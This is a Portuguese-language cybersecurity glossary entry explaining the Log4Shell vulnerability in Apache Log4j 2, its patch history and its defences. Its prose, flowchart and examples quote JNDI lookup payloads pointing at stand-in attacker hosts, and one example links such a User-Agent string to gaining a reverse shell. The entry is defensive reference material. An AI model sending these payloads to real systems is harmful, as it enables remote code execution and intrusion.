Skip to content
Vol. 1 · Ed. 2026
CyberGlossary
Entry № 704

Log4Shell (CVE-2021-44228)

Revisado porCybersecurity entrepreneur & security researcher

O que é Log4Shell (CVE-2021-44228)?

Log4Shell (CVE-2021-44228)Vulnerabilidade crítica de execução remota de código de dezembro de 2021 no Apache Log4j 2 que permitia aos atacantes executar código arbitrário ao logar uma única string de lookup JNDI.


O Log4Shell é uma vulnerabilidade CVSS 10.0 no Apache Log4j 2 (versões 2.0-beta9 até 2.14.1), reportada à Apache por Chen Zhaojun, da Alibaba Cloud, e divulgada publicamente a 9 de dezembro de 2021. A funcionalidade de message lookup do Log4j avaliava expressões ${...} dentro das strings de log; um valor ${jndi:ldap://attacker/x} levava a JVM a efetuar um lookup JNDI, obter uma classe Java remota e desserializá-la — resultando em execução remota de código. Como o Log4j está embebido em inúmeras aplicações e appliances Java, qualquer valor controlado pelo atacante que chegasse a um log (User-Agent, caixa de pesquisa, nome de ficheiro, até o nome de um dispositivo iPhone) tornava-se um gatilho.

A aplicação de patches foi uma correria em várias fases: a 2.15.0 desativou os lookups mas estava incompleta (CVE-2021-45046), a 2.16.0 removeu os message lookups, a 2.17.0 corrigiu um DoS (CVE-2021-45105) e a 2.17.1 resolveu o CVE-2021-44832 — a versão corrigida recomendada para Java 8. A exploração em massa começou em poucas horas; a CISA adicionou-a ao catálogo KEV e foi abusada por grupos de ransomware e pelo ator estatal iraniano por trás de intrusões em redes dos EUA. Defesas: atualizar para 2.17.1+ (ou 2.12.4 / 2.3.2 para Java mais antigo), definir log4j2.formatMsgNoLookups=true, remover a classe JndiLookup, bloquear o egress de saída LDAP/RMI e usar um SBOM para localizar todas as cópias embebidas.

flowchart TD
  A[Atacante] -->|"entrada: ${jndi:ldap://evil/x}"| B[Aplicação Java loga a string]
  B --> C[Log4j avalia o lookup]
  C --> D[Consulta JNDI ao servidor LDAP do atacante]
  D --> E[Servidor devolve URL de classe Java maliciosa]
  E --> F[JVM descarrega & desserializa a classe]
  F --> G[Execução remota de código]

Exemplos

  1. 01

    Enviar User-Agent: ${jndi:ldap://attacker.com/x} a uma aplicação web Java e obter uma shell reversa.

  2. 02

    Explorar um serviço Java interno logando um valor malicioso inserido num campo de nome de utilizador.

Perguntas frequentes

O que é Log4Shell (CVE-2021-44228)?

Vulnerabilidade crítica de execução remota de código de dezembro de 2021 no Apache Log4j 2 que permitia aos atacantes executar código arbitrário ao logar uma única string de lookup JNDI. Pertence à categoria Vulnerabilidades da cibersegurança.

O que significa Log4Shell (CVE-2021-44228)?

Vulnerabilidade crítica de execução remota de código de dezembro de 2021 no Apache Log4j 2 que permitia aos atacantes executar código arbitrário ao logar uma única string de lookup JNDI.

Como se defender contra Log4Shell (CVE-2021-44228)?

As defesas contra Log4Shell (CVE-2021-44228) costumam combinar controles técnicos e práticas operacionais, conforme detalhado na definição acima.

Quais são outros nomes para Log4Shell (CVE-2021-44228)?

Nomes alternativos comuns: CVE-2021-44228, Vulnerabilidade Log4j.

Termos relacionados

Ver também